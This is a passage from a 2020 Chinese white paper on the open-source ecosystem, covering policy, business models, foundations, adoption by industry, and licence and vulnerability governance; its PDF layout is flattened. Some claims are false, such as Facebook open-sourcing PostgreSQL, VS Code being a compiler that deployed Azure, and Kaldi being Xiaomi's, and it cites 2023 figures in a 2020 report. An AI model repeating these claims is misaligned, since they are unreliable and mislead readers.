开源生态白皮书(2020 年) 24 开源组织;2020 年 4 月国家发展改革委、中央网信办研究制定了《关 于推进「上云用数赋智」行动培育新经济发展实施方案》,该方案加 大对共性开发平台、开源社区、共性解决方案、基础软硬件支持力度, 鼓励相关代码、标准、平台开源发展。另一方面,地方政府关注开源 社区及开源软件的创新使用,2019 年,湖南省发布《湖南省大数据产 业发展三年行动计划(2019-2021 年)》,支持建立大数据相关开源社 区等公共技术创新平台,鼓励开发者、企业、研究机构积极参与大数 据开源项目,增强在开源社区的影响力,提升创新能力;2018 年,山 东省发布《数字山东发展规划(2018-2022 年)》,支持基于开源软件 的消化吸收再创新。 三、开源成为企业商业布局的重要手段 开源贡献者与开源服务者结合自身经营模式与开源进行有效结 合,实现商业转换。 (一)全球开源商业模式多样化发展 企业可通过主动开源进行商业布局,一是积极跟进相关领域顶级 开源项目,深度参与开源贡献,影响开源技术路线;二是建立自发开 源生态,将有可能影响市场格局的项目开源,同时培育潜在用户,推 动形成事实标准;三是收购特定领域开源企业,与自身商业产品配合, 扩大用户市场;四是结合开源项目提供开源服务,通过开源服务实现 商业转化。 开源生态白皮书(2020 年) 25 数据来源:中国信息通信研究院,2020 年 8 月 图 32 开源商业布局的四种方式 (二)全球开源企业已启动收购模式,进一步扩大用 户群体 全球开源投资步伐逐渐加快。ANDREESSEN HOROWITZ是一家 在硅谷成立的风投公司,关注科技领域,共投资了29家开源公司总计 702.75亿美元;IBM通过对开源的持续投资获得收益,除2018年以340 亿美元市值收购红帽公司外,IBM在过去五年中投入开源近10亿美元; 微软2018年以75亿美元收购GitHub;2020年SUSE收购业界应用最为 广泛的Kubernetes 管理平台建设方Rancher。 z 开源生态白皮书(2020 年) 26 数据来源: Pitchbook,2020 年 4 月 图 33 开源投资情况 全球开源企业积极布局开源,率先在基础软件领域发力,带动整 体商业布局。顶级科技公司成为开源的重要贡献者,微软、谷歌、红 帽、英特尔等顶级科技公司的员工是开源项目的重要贡献者。根据 Github 统计,微软有 7700 名员工参与开源投入,谷歌有 5500 人参与 开源投入。谷歌开源移动操作系统 Android,截止 2019 年 8 月,在全 球移动操作系统市场中占有率高达 75.44%;开源 PC 操作系统 ChromeOS,在美国有一定市场地位,其市场占有率高达 4.82%。微软 开源跨平台编译器 VScode,自 2016 年起连续占据 GitHub 开源项目 TOP10,2018-2019 稳居榜首,由它部署的 Azure 在 2018 年市场收益 达到 48.6 亿美元,占据云计算市场 17%份额;Facebook 开源对象关 系数据库服务器 PostgreSQL,2020 年 3 月,DB-Engines 数据库流行 度排行榜第四名。 基于开源逐步形成稳定的商业模式。开源社区版本多以公开形式 发布源代码,围绕社区版开源项目,很多企业已经形成服务为主的商 开源生态白皮书(2020 年) 27 业模式。一是开源服务订阅收费,这种模式是向企业客户提供基于上 游开源社区软件代码打造的企业级开源软件产品,把开源社区的项目 产品化,使普通企业客户更容易消费开源创新技术,例如红帽把按年 度的收费模式叫做“订阅模式”,除了免费享受这些支持以外,用户 无需再次购买产品的升级,根据用户的需要可随时进行更新;二是企 业发行版收费,随着开源协议授权条款的松绑,软件公司可基于社区 版的基础功能,提供自己研发的企业发行版本,这些企业发行版一般 会收取费用,并且是闭源的,此模式的代表公司是 Apache Hadoop 生 态圈知名度最高的 Cloudera 公司,围绕 Apache Hadoop 提供企业级 解决方案,主要的客户集中在中大型企业客户;三是云服务收费,随 着云计算逐渐被市场接受,整个云端应用能力大幅成长,这也促成了 新的开源服务商业模式,即采用付费直接使用云端服务的商业模式, 企业客户直接付费使用构架在云端的开源软件,不用自己搭建软件使 用环境,使得技术能力不强的中小型企业也能以较低成本享受开源技 术,也因相关云端技术的成熟,云计算订阅的收费模式开始大行其道, 亚马逊等公司就是这类新创开源软件公司的代表。 (三)我国开源企业已初步构建形成有影响力的开源 项目 我国积极跟进国际开源生态。参与国际顶级开源社区反馈,实现 技术输出,共建技术路径,GitHub 国内贡献数 117 万,在全球占比 11.8%,Linux 项目中国在全球贡献度排名第三。 我国构建自发开源生态,开源项目影响力呈现持续扩大态势。我 开源生态白皮书(2020 年) 28 国企业主动开源形成稳定自发开源模式,互联网企业紧跟产业数字化 机遇,借助流量优势开源项目,截至 2020 年 9 月,阿里开源 2172 个 项目,腾讯开源 150 个项目,总体同比保持 15%的增长率,设备厂商 勇于打破原有商业模式,积极拥抱开源,截至 2020 年 9 月,华为开 源 161 个项目,我国自发开源项目中不乏国际影响力开源项目,其中 Dubbo、RocektMQ、CarbonData 等均已成为 Apache 顶级开源项目。 移动互联网企业也在积极开源,小米 MACE(移动端 AI 框架)和 Pegasus(分布式 KV 存储)和 Kaldi 均已开源。 头部科技公司在代码托管平台上的开源项目数呈明显增长趋势, 根据 2019 年《中国互联网公司开源项目调查报告》1显示,阿里、腾 讯、百度、华为等头部互联网企业在 Github 上贡献的数量超过 3000, 集中在前端开发、人工智能、数据库、微服务、中间件等领域。 表 3 我国企业在 Github 代码贡献情况 国内排名 全球排名 项目名称 公司 前端开发 2 28 ant-design/ant-design 阿里巴巴 3 37 ElemeFE/element 阿里巴巴 5 90 NervJS/taro 京东 7 107 vuejs/vue-cli —— 10 141 ant-design/ant-design-pro 阿里巴巴 11 169 apache/incubator-echarts 百度 12 193 vuejs/vue —— 14 209 youzan/vant 有赞 15 237 nestjs/nest —— 26 477 vuejs/vuepress —— 人工智能 6 103 PaddlePaddle/Paddle 百度 18 297 ApolloAuto/apollo 百度 20 383 PaddlePaddle/models 百度 1 http://www.199it.com/archives/856967.html 开源生态白皮书(2020 年) 29 25 452 huaweicloud/ModelArts-Lab 华为 数据库 8 128 pingcap/tidb PingCAP 21 385 tikv/tikv PingCAP 微服务 16 270 apache/dubbo 阿里巴巴 19 362 alibaba/nacos 阿里巴巴 23 394 apache/skywalking —— 中间件 22 389 seata/seata 阿里巴巴 24 426 apache/ shardingsphere 京东数科 其它 1 2 996icu/996.ICU —— 4 83 selfteaching/selfteaching-python-camp —— 9 137 OpenAPITools/openapi-generator —— 13 207 Advanced-Frontend/Daily-Interview- Question —— 17 296 xitu/gold-miner 掘金 数据来源:X- lab 开放实验室 头部科技公司在基础软件领域的开源项目呈增长趋势,开源将成 为未来新技术发展的重要抓手。华为开源服务器操作系统 EulerOS, 跨平台的操作系统 HarmonyOS,单机版数据库 GaussDB OLTP,全场 景 AI 计算框架 MindSpore;腾讯开源轻量级物联网实时操作系统 TencentOS tiny,万亿级分布式消息中间件 TubeMQ,企业级分布式 HTAP 数据库管理系统 TBase;阿里开源实时计算平台 Blink,云服务 器架构“方升”,关系数据库 OceanBase。 战略投资实现开源资源整合。腾讯投资代码托管平台 Coding、百 度投资代码托管平台开源中国、阿里巴巴以 9000 万欧元收购了 Data Artisans(开源项目 Flink 发起公司),国内科技公司积极投资开源基 础设施,为构建自身生态做好铺垫。 开源生态白皮书(2020 年) 30 云计算推动我国开源服务发展。我国阿里云、中兴、腾讯云等众 多企业基于 Kubernetes、Docker 等开源软件构建闭源商业产品,形成 稳定的发行版收费模式;阿里云服务为用户提供多种云计算服务,这 些服务部分基于开源软件提供,如云数据库类是基于 MySQL,Redis, MongoDB 等热门开源数据库提供云服务。 四、全球开源基金会运营模式成熟,我国率先探索联 盟运营机制 (一)良好的开源社区是形成开源代码的前提条件 全球已形成大批以技术为中心的开源社区。开源社区一般依托开 源项目自然形成,是开源项目不断发展的重要组织,开源社区数量基 本与开源项目数量等同。开源社区聚集一批对开源项目感兴趣的人, 主要进行代码协作、开源讨论、社区决策等工作,全球开源项目过亿, 已经形成相对稳定的开源社区运转模式。根据参与者范围开源社区运 转可分为以下两种模式,一种是集市模式,鼓励任何人都可以做出贡 献,具有快速迭代特点,例如 Linux;一种是大教堂模式,由相对稳 定的团队进行贡献,发布频率相对较低,例如 Apache OODT。根据决 策机制,开源社区运转可分为以下两种模式,一种是精英模式,根据 贡献程度形成决策结构,Apache 基金会开源项目所依托的开源社区 均采用精英模式;一种是独裁治理模式,即项目的把控者是其创始人 和资助者。 表 4 开源社区分类 典型开源社 Linux 社区 Apache OODT Apache Ubuntu 社区 开源生态白皮书(2020 年) 31 区 社区 HTTPD 社区 参与者 任何人 相对稳定的团 队 任何人 相对稳定的团 队 决策机制 创始人和资 助者 根据贡献度形 成决策机制 根据贡献度形 成决策机制 创始人和资助 者 开源模式 集市模式; 独裁模式 大教堂模式; 精英模式 精英模式; 集市模式 独裁模式; 大教堂模式 来源:公开资料整理,2020 年 4 月 我国以用户为中心的开源社区发展阶段与全球保持一致。不同行 业对开源的需求往往是各不相同,为满足不同行业对开源的具体需求, 行业开源社区应运而生。中国信通院联合浦发等多家金融机构成立 “金融行业开源技术应用社区”,规范开源治理体系、讨论开源软件 选型标准和建立开源软件共享平台,全球开源用户社区仍处于探索阶 段,FINOS 基金会成立四年于 2020 年与 Linux 基金会合作,寻找用 户社区发展新模式。 (二)开源基金会运营通过知识产权托管培育开源社 区 开源基金会主要进行开源项目第三方知识产权托管,同时提供配 套服务建立开源生态,一般对开源项目进行资金众筹和支持,提供相 关法律支持,聘请专业人员进行管理,建立专业化人才培训机制,借 助通用规则保证开源项目安全性。 开源基金会的战略布局由董事会决策。各基金会董事会形成方式 不同,Linux基金会董事会(25人)主要由白金企业会员代表组成; Apache基金会董事会(9人)由700余个人会员根据贡献度选举产生; 开源生态白皮书(2020 年) 32 OpenStack基金会(24人)主要由白金会员和黄金会员代表组成。董事 会对基金会的战略规划、财务管理、市场及法务问题、分支机构设立 具有决策权,通过投票表决方式决议。董事会不参与开源项目的日常 技术管理,重量级的子基金会/项目拥有自己的董事会来进行自治。 Linux董事会每个成员都有投票权,并且决策通过需多数成员投票同 意;Apache董事会采用懒惰共识法,决策需要没有反对票的正面投票, 当投反对票时,要明确提出替代方案,以及投反对票的详细解释。 技术管理委员会对开源项目进行技术指导。基金会整体技术管理 委员会负责技术指导,Linux基金会建立技术咨询委员会,由Linux主 要的贡献者组成,主要提供技术咨询,OpenStack基金会技术管理委 员会由13名个人组织,负责技术管理和指导,参与决策项目的孵化和 毕业,对各个开源项目无直接管理权;单个项目技术管理委员会直接 管理开源项目,对于Apache基金会,每个项目都会形成技术管理委员 会,项目发展路径和定位由项目管理委员会投票决定。 管理团队负责基金会日常事务,部分基金会聘请专职人员。Linux 基金会建立专职经营团队,包括执行董事、项目经理、财务主管、基 金会秘书等角色,负责市场营销、项目合规、培训、项目孵化等执行 工作,高级职员一般每两年选举一次,且由董事会进行任命;Apache 基金会具有专职执行总裁、财务总监、秘书等角色构成管理团队负责 基金会管理与监督,财务以及市场活动采用外包形式,以减少成本与 提升效率。 会员构成开源基金会交流平台。Linux基金会为企业会员模式, 开源生态白皮书(2020 年) 33 目前白金会员15家,黄金会员15家,白银会员800余家,白金会员可 最多任命20名董事会成员,新会员入会需董事会进行决议;Apache基 金会为个人会员模式,会员都是以个人身份参与项目组织,专注于技 术交流,新的个人会员由现有个人会员提名,然后根据该成员对基金 会的贡献情况进行投票,企业仅以赞助的形式参与,获得网站展示标 识以及会议发言机会;OpenStack基金会为企业会员模式,只容纳最 多8家白金会员资格和24家黄金会员资格,白金与黄金会员可以各自 选举8名董事会成员,董事会有权利进行新会员资格投票,终止或恢 复企业会员资格。 开源基金会收入来源逐渐多样。目前主流的开源基金会都是非营 利性组织,资金主要来源依赖于企业会费(企业捐赠)以及日常运营 的收入(项目管理、活动、培训与认证)等;会员费作为开源基金会 的主要收入来源,Linux基金会白金会员50万美元/年,黄金会员10万 美元/年,白银会员5000-20000美元/年,Linux基金会年会员费收入超 过1000万美元,总收入占比50%左右;Apache基金会资金主要来源于 企业捐赠,捐赠等级分为白金12.5万美元/年,黄金5万美元/年,白银 2.5万美元/年与青铜6千美元/年,年收入191万美元;项目管理费收入 占比逐渐提升,Linux基金会对子基金会及重要项目收取项目管理费 用,目前项目管理费用占linux基金会总项目收入的40%。 基础设施与人员投入作为基金会的主要开销。根据Apache基金会 财报,支出费用从2018财年的142万美元增长至2023财年的220万美元, 支出费用中基础设施占比最高,达到34%;Linux基金会的设施服务 开源生态白皮书(2020 年) 34 费从2017年的423万美元增长到2018年的1856万美元,增幅达到338%, 人员薪酬费用也从2017年的2254万美元增长到2018年2529万美元,增 幅达到12.2%。 (三)我国逐步形成稳定的开源运营机制 开源运营最终目的是推广开源项目的认可度,建立开源生态,我 国一方面推动开源基金会相关工作,另一方便借助联盟优势推动开源 运营。 开源基金会实体机构已经形成。开放原子开源基金会于2020年6 月正式在民政部注册成立,是非营利性独立法人机构,针对开源软件、 开源硬件、开源芯片及开源内容等提供中立的知识产权托管,并提供 资金,法律、财务等专业支持。理事会是开源基金会的立法机构,负 责审议和修改基金会章程等;技术监督委员会是技术决策机构,负责 开源基金会技术相关的决策;秘书处是开源基金会的执行机构,负责 开源基金会日常运营事务等相关工作。目前基金会托管开源项目7个, 主要捐赠单位包括阿里、百度、华为、浪潮、腾讯、360、招商银行 等。 联盟开源运营机制持续推进。联盟社区开源运营机制不进行开源 项目知识产权托管,主要进行技术治理和业务治理,通过行业社区推 动开源项目建立自生态,中国信通院重点依托工业互联网联盟、云计 算开源产业联盟、金融行业开源技术应用社区、人工智能产业发展联 盟等行业及新技术领域产业资源,帮助企业运营开源项目,目前与腾 讯蓝鲸、TARS等项目建立合作关系,主要通过会议宣传推广、产品 开源生态白皮书(2020 年) 35 标准制定,上下游一致性评估、人才培养认证等方面工作,管理开源 项目的社区,在人工智能等新技术领域创建开源开发者社区平台、开 源咨询管理平台、构建人工智能大赛平台,促进开源项目的生态发展。 五、传统行业逐步拥抱开源生态,我国行业用户关注 开源使用 (一)工业互联网布局开源看重产业数字化新机遇 在工业互联网领域,巨头企业更多看重的是把握工业互联网浪潮 中产业数字化转型的新机遇,占领新兴产业的制高点和影响力。 全球工业互联网领域在物联网方向开源投入积极。目前,工业互 联网积极布局开源项目,主要侧重 IoT 领域。龙头企业正在尝试基于 通用开源软件建立工业互联网领域开源生态,西门子在 GitHub 上的 自发开源项目为 38 个,涉及 IOT2000 设备硬件特性管理等项目。GE 的开源策略经历了三个主要阶段,一是依赖技术投资阶段,GE 与 EMC 联合向 CloudFoundry 架构供应商 Pivotal 进行投资,以实现对关 键技术的掌控;二是自发开源阶段,自 2016 开源工业互联网平台 Predix,尝试建立类似 Android 生态;三是开放社区阶段就是通过开 放的 API 接口建立生态。IoT 领域开源软件逐渐兴起并多由创业公司 发起,且 KAA,Zetta 等开源软件背后均有商业化服务。工业互联网 领域开源协同机制已经形成,集中在边缘计算及物联网领域,如 Eclipse IoT 工作组,LF EDGE 工作组等。 我国工业互联网领域市场应用旺盛,科技公司率先布局。我国工 开源生态白皮书(2020 年) 36 业互联网领域对工业互联网 PaaS 平台、边缘计算框架、边缘云开源 技术需求最为旺盛。在开源投入方面,科技公司率先布局开源生态, 发力边缘计算平台和物联网操作系统领域,比如华为的 KubeEdge, 百度 OpenEdge,阿里 AliOS Things,腾讯 tencentOS-tiny 等,高校在 物联网数据库领域积极探索开源模式,由清华大学发起的 Apache IoTDB 已经成为 Apache 顶级项目;在产业协作方面,科技公司探索 建立开发者社区,形成产业协作模式,如小米投入 1 亿元打造小米 AIoT 基金会、浪潮牵头成立中国开源工业 PaaS 协会。 (二)电信行业由用户侧及运营商推动开源,探索产 品创新 电信领域技术壁垒高,研发投入高,电信基础设施和应用/服务的 生命周期很长,对研发以及运维团队要求高。电信行业运营商和大型 互联网公司积极拥抱开源,主要是为了摆脱设备厂商锁定,基于自身 的业务,能够主动、高效且低成本的满足对设备的需求,同时也有部 分新兴设备厂商探索开源,尝试打破市场垄断,但是大设备商供给侧 市场稳定,开源动力不足。 全球电信行业在网络各个层面开源投入积极,生态多样。电信行 业开源生态覆盖开源软件和硬件,其中开源软件发展尤为繁荣。从网 络数据分析软件、编排管理策略软件等上层应用软件,到构建网络功 能的 NFV 软件,再到虚拟化管理、网络控制、网络操作系统等基础 软件,都有大量的开源项目,如 Acumos、Open-O、OPNFV、OpenStack、 ONOS、OpenSwitch 等。底层硬件设计也有一些开源白盒项目,但相 开源生态白皮书(2020 年) 37 对较少,例如由 Facebook 发起的 Open Compute Project 项目。 数据来源:根据公开资料整理,2020 年 6 月 图 34 电信行业开源项目 电信行业与互联网巨头均大力投入电信领域开源项目投入,自成 生态,例如 AT&T 主导多个主要的开源项目,包括 ONAP、DANOS 等,Google 开源 Stratum,Facebook 推动成立 OCP(开放计算项目)。 针对网络领域的开源产业协同机制已经建立,包括开源基金会、生态 社区等形式,开源基金会主要包括 LFN(Linux 基金会)、OCP(开放 计算项目)、ONF(开放网络基金会)等,基金会会员覆盖了全球超 过 70%的电信产业链上的玩家,其项目覆盖基础设施/接入/承载/核心 网,以及组网/虚拟化/编排/自动化/运维/分析/AI/边缘计算等。 表 5 电信行业开源基金会 LFN ONF OCP TIP 会员 111 85 50 500+ 项目 9 12 19 包括接入、回 传、核心 注册地 美国 美国 美国 美国 数据来源:公开资料整理,2020 年 7 月 开源生态白皮书(2020 年) 38 我国运营商有一定投入意愿,尚处于跟随状态。我国运营商、设 备商、互联网企业积极参与 LFN、OCP 等电信开源组织,中国移动 参与 O-RAN 开源生态,作为重要贡献者助力 O-RAN 发布第一版开 源软件代码,并担任 O-CU 和 DOC 项目技术领导者(PTL)职位;中国 电信明确提出在网络重构过程中优选开源技术,已在主流开源社区建 立了影响力,成功入选 OpenStack 黄金会员;中国联通参与 CORD 项 目(ONF 组织推动的开源边缘计算的项目之一)。我国运营商和厂商 探索主导自主开源生态,2017 年 3 月,中国移动的 Open-O 项目和 AT&T 的 Open-ECOMP 合并,成立开放网络自动化平台(ONAP)项 目。 (三)政府采购行业发展开源看重公开透明 政府采购行业信息系统的特点是信息系统建设费用高昂,且政府 各部门不互通共享,资源利用率低,政府部门信息科技能力不高。政 府采购行业发展开源看重公开透明,一方面开源可以有效解除闭源软 件绑定,避免单一商业软件长期锁定,另一方面开源代码公开透明, 可以实现多部门复用,从而有效降低成本,提升资源利用率。 全球政府采购行业利用市场强制牵引作用带动开源产业发展。全 球政府采购行业开源投入有限,主要利用市场强制推进开源应用,建 立配套开源配套设施,通过政府采购市场调动开源生态。在利用市场 强制推进开源应用方面,美国联邦源代码政策提高政府代码复用率, 降低政府采购成本,联邦政府每年在软件上花费数十亿美元,并且部 门之间采购的软件存在重叠,因此美国联邦源代码政策开展 2016 年 开源生态白皮书(2020 年) 39 试点项目,规定美国政府各部门每年采购的软件中 20%的代码需开源, 供政府部门内重复使用;韩国政府采用 OpenOS 降低对闭源操作系统 的使用,拟在 2026 年前让所有公共机构和地方政府采用 OpenOS 系 统,有效减少采购商业操作系统以及操作系统技术支持方面的开支; 英国政府在 2019 年发布的最新版《数字服务标准》第 12 条要求政府 部门公开所有新的代码,并选择合适的许可证开源,英国政府认为公 共服务是由公共资金建造的,因此这部分涉及的代码应该提供给人们 共享和重复利用,同时提高政府部门的代码重复利用率,避免重复工 作并降低整个政府的成本。积极布局开源领域投入。在建立开源配套 基础设施方面,美国为推动政府采购行业建立开源生态,自建代码托 管平台,托管政府采购软件领域的开源项目,同时建立配套打分机制, 帮助政府部门选择和复用,开源代码扫描平台,保证开源软件引入过 程中的风险管理。 我国政府采购行业积极探索开源合规使用。我国政府采购行业侧 重开源使用管理,对于 Linux 操作系统的采购要求“采用 GNU 通用 公共许可,详细说明所投产品的基础 linux 版本软件掌握程度,对原 始代码的阅读理解程度、注释等”,其它领域软件侧重摸清是否基于 开源软件,对于虚拟化及虚拟化管理软件,要求“明确采用开源代码 云计算社区版本,经测试和二次开发后,以发行版的形式将软件产品 和服务提供给用户,包括计算、存储、网络虚拟化以及虚拟化管理功 能”。 (四)金融机构开源看重产业创新力和市场布局 开源生态白皮书(2020 年) 40 金融行业开源动机总体分为两类,一是看重开源产品的创新度, 满足金融机构面临业务场景的新需求,二是金融机构信息科技部门逐 渐转型,探索用开源模式建立金融服务生态。 全球金融机构开源协同模式已经形成。金融行业逐步从使用开源 转向开放共享,金融机构积极投入开源生态,建立具有行业属性的开 源基金会促进产业协同,完善产业链相关配套。金融机构逐步探索开 源模式,受开放银行、金融科技大的发展背景影响,金融机构主动探 索自发开源模式,摩根大通作为美国最大的金融服务机构之一在 Github 上发布 Quorum 区块链项目代码,高盛将历时 14 年开发的用 于帮助用户访问和分析财务数据库的 Alloy 平台通过 FINOS 社区开 放给华尔街。金融行业开源协同机制已经建立,2016 年金融科技开放 源码基金会(Fintech Open Source Foundation)成立,其核心董事会成 员来自花旗集团、摩根大通集团、红帽、GitHub 等企业,FINOS 是全 球首个专注金融领域的开源基金会,2020 年与 Linux 基金会建立合 作,目前基金会覆盖不同组织的开发者、服务商、科技公司和金融机 构等,会员数超过 30 个,孵化项目 11 个,聚集行业 300 多个开源贡 献者。 我国金融机构使用开源软件增多。我国金融机构主要以开源用户 的身份存在,是开源生态的重要参与者,但与国外基金会对接存在监 管合规等多重屏障。开源软件使用仍是我国金融机构参与开源的主要 模式。我国金融机构已经从购买闭源软件走向使用开源软件,开源技 术应用覆盖领域广泛,头部企业开源软件使用数量达到 1000 以上。 开源生态白皮书(2020 年) 41 数据来源:中国信息通信研究院,2020 年 5 月 图 35 金融行业开源项目应用情况 我国自主开源模式仍在探索。我国金融机构尝试参与开源生态,但仍 主要以用户身份存在,民生银行、中信银行、微众银行等已加入 Linux 基金会,2019 年微众银行将其研发的全球第一个联邦学习工业级开 源框架 Federated AI Technology Enabler(FATE)捐赠给 Linux 基金会。 六、开源风险问题复杂,开源治理体系正在构建 (一) 知识产权合规及安全漏洞风险相对普遍 开源软件可能涉及三类风险:知识产权及合规风险、安全风险、运 维和技术风险,其中知识产权及合规风险主要与开源许可证的规定相 开源生态白皮书(2020 年) 42 关,安全风险主要涉及安全漏洞等问题,运维和技术风险主要指因开 源软件的引入导致的开发运维投入量大、技术人员要求高等问题。 1.开源知识产权及合规风险 除法律法规的保护外,开源软件的作者或权利人主要是通过开源 许可证对其知识产权进行许可与约束。若开源软件使用者未依照相应 的开源许可证来使用开源软件,将可能侵犯开源软件的作者或权利人 的知识产权。 开源许可证涉及的知识产权风险较为复杂。开源使用方在引入开 源软件时,因开源许可证的规定或变动,可能面临知识产权及合规风 险,一是可能因许可证的传染性规定被迫开源,如:根据 GPL 许可 证的规定,使用依 GPL 开源的软件并涉及到修改和分发,需要将后 续修改代码全部开源;二是商业软件是否遵守开源约定未知,如:部 分商业软件基于开源进行二次开发后以闭源形式提供给用户,却不遵 守开源许可证的署名要求;三是知识产权风险易被忽略,如:BSD、 MIT 和 GPL 2.0 等并未包含明确的专利许可条款,许可用户使用软件 所包含的相关专利;四是开源许可证之间可能不兼容,如:GPL 开源 许可证在 GNU 的网站上详细列出何种开源许可证是否与其兼容2;五 是开源软件的使用规则存在不确定性,如:2018 年以来多个开源软件 开发商(Redis 、MongoDB、Kafka 等)已经对其过去使用的开源许 可证进行了修改,Oracle 宣布 2019 年 1 月以后发布的 Oracle Java SE 8 公开更新将不向没有商用许可证的业务、商用或生产用途提供。 2 https://www.gnu.org/licenses/license-list.en.html#GPLIncompatibleLicenses 开源生态白皮书(2020 年) 43 热门开源项目开源许可证风险较为普遍。经信通院通过开源治理 工具扫描显示,容器运行技术领域(Docker、RKT 和 KATA),Docker 的子项目发现少量使用传染性许可证的开源组件,用户在使用过程中 需要关注引入、修改、分发方式,判断可能的违约和被开源风险;容 器编排技术领域(Kubernetes、Swarm 和 Mesos),均发现少量使用传 染性许可证的开源组件;微服务框架领域(Dubbo、istio 和 Tars),均 发现使用传染性许可证的开源组件;DevOps 领域(Jenkins 和 Ansible), Jenkins 许 可 证 存 在 的 隐 含 风 险 需 引 起 关 注 ; 无 服 务 架 构 领 域 (Openwhisk 和 Kubeless),Openwhisk 许可证存在的传染性组件需引 起关注;人工智能领域(TensorFlow、Keras 和 Pytorch),TensorFlow 许 可证存在的传染性组件需引起关注;数据库领域,MySQL 许可证存在 的传染性组件需引起关注。 2.安全漏洞风险 由于开源软件具有多人协作完成、开源许可证存在免责条款等特 性,企业在使用开源软件时必须注意数据安全及隐私风险,若开源软 件存有恶意代码、病毒或造成隐私泄露,将给使用者带来较为严重的 危害,需要跟踪最新版本,及时修复高危漏洞。 热门开源项目存在一定高危漏洞。容器运行技术领域(Docker、 RKT 和 KATA),Docker 的子项目发现少量高危和超高危开源组件漏 洞;容器编排技术领域(Kubernetes、Swarm 和 Mesos),Mesos 项目发 现超高危和高危漏洞数量较多;微服务领域(Dubbo、istio 和 TARS), 均发现高危漏洞;DevOps 领域(Jenkins 和 Ansible),Jenkins 发现超高 开源生态白皮书(2020 年) 44 危漏洞和高危漏洞;无服务器架构领域(Openwhisk 和 Kubeless)开源 组件漏洞情况均需引起关注;人工智能领域,TensorFlow(TensorFlow、 Keras 和 Pytorch)漏洞数量较多,风险等级较高;数据库领域,MySQL 发现中危漏洞。 (二)开源法律和知识产权环境推动开源良性发展 全球开源法律及知识产权相关实体机构兴起。开源许可协议规则 制定权、完善的知识产权法律服务和知识产权保护制度的建立共同为 开源软件发展提供了良好的法律环境。OSI从开源软件许可协议入手, 结合证明商标,确定了开源许可协议标准,通过教育、协作和基础设 施来维护社会中的软件自由,管理开源定义,防止开源运动固有的理 想和精神的滥用;SFLC为客户提供开源法律咨询服务,提供自由和 开放源码软件项目受影响的所有法律领域的专业知识给客户,包括版 权、专利、商标和非盈利治理;OIN是全球最大的专利保护社区,成 立时获得了谷歌、IBM、NEC、飞利浦、索尼、SUSE 和丰田等业内 企业的大力支持,拥有3200多个会员和1300多项全球专利与应用, OIN专利许可和会员的专利交叉许可对所有OIN社区会员免费开放。 开源许可证有效保证开源项目版权持有人的权利,开源许可证明 确开源软件的版权持有人通过许可证,授予用户可以学习、使用、修 改开源软件,并向任何人或为任何目的分发开源软件的权利。目前全 球开源许可证上千种,大致可以分为四类,开放型开源许可证 (Permissive License,如:MIT、BSD)、弱传染型开源许可证(Weak Copyleft License,如:LGPL 2.1)、传染型开源许可证(Copyleft 开源生态白皮书(2020 年) 45 License,如:GPL 2.0)、强传染型开源许可证(Strong Copyleft License,如:AGPL 3.0)。目前通过OSI认证的开源许可证共有105个, FSF认证的开源许可证157个;各国纷纷制定适合本国的开源许可证, 欧盟制定的EUPL,以22种欧洲语言开发,且有将近2万个开源项目使 用欧盟公共许可证。根据WhiteSource Software报告显示,67%的开 放源码组件使用开源许可证,相比去年增长3%。 (三)开源治理工具加速企业开源治理体系构建 全球开源治理工具经历多次更新换代。开源治理工具主要以开源 组成和安全性分析为主,通过扫描开源软件梳理开源组件信息、开源 许可证信息、开源安全漏洞信息等帮助用户有效降低开源风险,全球 目前主流开源治理工具厂商大多起源于国外,客户遍布全球且占据我 国大部分市场份额。国外如 BlackDuck、X-RAY 等开源治理工具大多 侧重开源组成识别功能,识别原理按照对识别对象的颗粒度不同大致 分为开源组件级别识别和开源文件及代码片段级别,侧重开源组成识 别。 我国安全厂商探索开源治理工具。近几年国内出现了许多开源治 理工具,从技术层面来看,国内目前市场上的开源治理工具与国外此 类工具的技术基本保持一致,从发展层面来看,国内开源治理工具处 于快速发展阶段,在扩大国内市场的同时也在积极开拓国际市场。国 内开源治理工具厂商多由安全厂商转型,如奇安信开源卫士和棱镜七 彩FossEye等。 开源生态白皮书(2020 年) 46 (四)开源治理模式逐步落地 全球开源企业组建开源管理办公室统筹管理。根据 Linux 基金会 开源办公室调查报告显示,在 2,700 名研究参与者中,超过一半(52%) 拥有正式或非正式开源项目办公室或正在规划创建开源管理办公室。 谷歌于 2004 年在内部成立开源项目办公室,目的是为了解决使用开 源软件带来的许可证和代码的合规问题,办公室的重要原则之一就是 帮助其员工使用开源项目和参与开源生态。Twitter 于 2010 年左右发 现代码许可和法律审查与开发者对外贡献代码之间的平衡导致效率 低下,公司决定聘用开源项目经理并创建开源项目办公室,通过引入 工具、优化流程等方式简化步骤,实现了开源使用与合规之间的平衡。 该办公室目前拥有 15 名成员,负责跟踪公司范围内所使用的开源项 目状况,服务于 7.2 万员工和约 2000~4000 个的开源项目。 我国互联网企业关注自发开源治理。腾讯内部成立开源管理小组, 该组织经腾讯技术管理委员会授权,由腾讯研发管理职责部门牵头腾 讯法务、合规、专利、安全等相关部门,整合为开源管理小组,在开 源流程、安全、风险、建议方面对腾讯业务提供服务。在腾讯技术管 理委员会的授权下牵头设立了“腾讯开源联盟”,由不同业务的技术 专家、负责人、技术领袖组成开源联盟组委会和专家团,在开源文化、 开源经验、开源活动等方面对开源项目施以指导和帮助。 出于安全要求,我国传统行业用户率先探索开源引入治理。农业 银行、浦发银行、太平洋保险、中信银行等均已构建成熟开源治理体 系,从研发、运维双向推动。研发侧严控引入,把控开源软件风险, 开源生态白皮书(2020 年) 47 相比于传统商业软件,开源软件数量更多、问题更为复杂,研发侧有 必要在引入开源软件或代码时,严格把控风险,实现开源使用的“可 控可溯”。组织机制方面,明确企业开源治理战略,制定配套的开源 治理组织架构或开源治理分工,统筹规划和推动企业开源治理工作。 管理制度方面,制定相关制度对开源软件进行统一管理,对开源软件 的引入、使用、更新、退出的全流程管理做出明确规范,建立开源软 件全生命周期的风险管控机制。支撑平台方面,建设配套开源软件管 理支撑平台,实现流程管理、社区信息抓取、软件台账、漏洞跟踪、 软件仓库等多项功能,有效提高开源软件管理效率;运维侧持续投入, 保证安全稳定运行,相比于传统商业软件,大多数开源软件缺少付费 的运维支持服务,需要本机构投入更多人力物力持续维护。运维分工 方面,按照开源软件不同的使用范围和影响程度进行级别划分,并落 实后期维护的主体责任,名单管理方面,依据企业内部应用和维护开 源软件的实际情况,制定开源软件白名单/黑名单,定期跟踪名单中开 源软件的信息变动情况,及时进行反馈和更新。 数据来源:中国信息通信研究院,2020 年 2 月 图 36 开源治理架构图 七、开源生态未来发展趋势与建议 (一)开源生态未来发展趋势 开源生态白皮书(2020 年) 48 